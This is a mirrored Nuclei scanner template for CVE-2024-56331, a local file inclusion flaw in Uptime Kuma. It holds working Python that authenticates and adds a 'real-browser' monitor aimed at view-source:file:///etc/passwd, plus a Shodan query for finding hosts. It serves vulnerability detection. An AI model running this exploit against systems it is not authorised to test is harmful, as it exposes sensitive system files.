mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-08 11:43:17 +08:00
125 lines
4.8 KiB
YAML
125 lines
4.8 KiB
YAML
id: CVE-2024-56331
|
|
|
|
info:
|
|
name: Uptime-Kuma - Local File Inclusion (LFI)
|
|
author: hyni03
|
|
severity: critical
|
|
description: |
|
|
Uptime Kuma has an Improper URL Handling vulnerability that can be exploited through the "real-browser" feature.
|
|
By providing a URL using the file:/// protocol (e.g., file:///etc/passwd), an attacker can obtain a screenshot
|
|
of local sensitive files, because the user input is not validated by the server.
|
|
impact: |
|
|
An authenticated user can exploit this vulnerability to access arbitrary local files by leveraging
|
|
the "real-browser" feature, leading to potential information disclosure of sensitive system files.
|
|
remediation: |
|
|
This vulnerability is fixed in version 1.23.16. Users are advised to upgrade to the latest version.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-56331
|
|
- https://github.com/griisemine/CVE-2024-56331
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 6.8
|
|
cve-id: CVE-2024-56331
|
|
cwe-id: CWE-22
|
|
metadata:
|
|
verified: true
|
|
shodan-query: http.title:"Uptime Kuma"
|
|
product: uptime-kuma
|
|
vendor: uptime-kuma
|
|
tags: cve,cve2024,lfi,uptime-kuma,file-disclosure
|
|
|
|
variables:
|
|
username: "{{username}}"
|
|
password: "{{password}}"
|
|
HOST: "{{Hostname}}"
|
|
|
|
code:
|
|
- engine:
|
|
- py
|
|
- python3 # Requires python installation on the system
|
|
source: |
|
|
import os
|
|
import time
|
|
|
|
try:
|
|
import socketio
|
|
except ImportError:
|
|
raise ImportError("The 'socketio' library is not installed. Please install it using 'pip install python-socketio'.")
|
|
|
|
# Load environment variables
|
|
USER = os.getenv('username')
|
|
PASS = os.getenv('password')
|
|
HOST = os.getenv('HOST')
|
|
PORT = os.getenv('PORT')
|
|
|
|
# Configuration settings
|
|
CONFIG = {
|
|
"server_url": f"ws://{HOST}",
|
|
"credentials": {"username": USER, "password": PASS},
|
|
"request_types": {"real_browser": "real-browser", "http": "http"},
|
|
"url_prefix": {"view_source": "view-source:file://", "file": "file://"}
|
|
}
|
|
|
|
TARGET_FILES = ["/etc/passwd"]
|
|
|
|
client = socketio.Client()
|
|
|
|
def connect_to_server(url, retries=3, delay=2):
|
|
for attempt in range(retries):
|
|
try:
|
|
client.connect(url, wait_timeout=10)
|
|
print(f"[+] Connected to: {url}")
|
|
return True
|
|
except Exception as e:
|
|
print(f"[!] Connection attempt {attempt + 1}/{retries} failed: {e}")
|
|
time.sleep(delay)
|
|
return False
|
|
|
|
try:
|
|
if not connect_to_server(CONFIG["server_url"]):
|
|
print("[!] Unable to connect to the server. Exiting.")
|
|
exit(1)
|
|
|
|
# Attempt login
|
|
login_resp = client.call("login", {
|
|
"username": CONFIG["credentials"]["username"],
|
|
"password": CONFIG["credentials"]["password"]
|
|
}, timeout=10)
|
|
|
|
if login_resp and login_resp.get("ok"):
|
|
print("[+] Login successful")
|
|
# Process each sensitive file request
|
|
for file_path in TARGET_FILES:
|
|
req_type = CONFIG["request_types"]["real_browser"]
|
|
# Use view-source prefix in real-browser mode
|
|
url_prefix = CONFIG["url_prefix"]["view_source"] if req_type == CONFIG["request_types"]["real_browser"] else CONFIG["url_prefix"]["file"]
|
|
target_url = f"{url_prefix}{file_path}"
|
|
|
|
print(f"[~] Sending {req_type} request for: {target_url}")
|
|
|
|
add_payload = {
|
|
"type": req_type,
|
|
"name": f"{req_type} request for {file_path}",
|
|
"url": target_url,
|
|
"method": "GET",
|
|
"maxretries": 0,
|
|
"timeout": 500,
|
|
"ignoreTls": True,
|
|
"accepted_statuscodes": ["200-299"],
|
|
"conditions": "[]"
|
|
}
|
|
response = client.call("add", add_payload, timeout=15)
|
|
print(f"[+] Response for {file_path}: {response}")
|
|
else:
|
|
print("[!] Login failed. Please check credentials.")
|
|
except Exception as err:
|
|
print(f"[!] An error occurred during execution: {err}")
|
|
finally:
|
|
client.disconnect()
|
|
print("[*] Disconnected from the server")
|
|
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
|
|
# digest: 4a0a00473045022100df7d5d216b87880a14cc83c6a75207c8abe35918c11518caf6cc303812f77d7102202822e8fce807e7f5e5015788df46b6ecf677ff6ff2dcb6e1e3da8d3976b3ad45:922c64590222798bb761d5b6d8e72950 |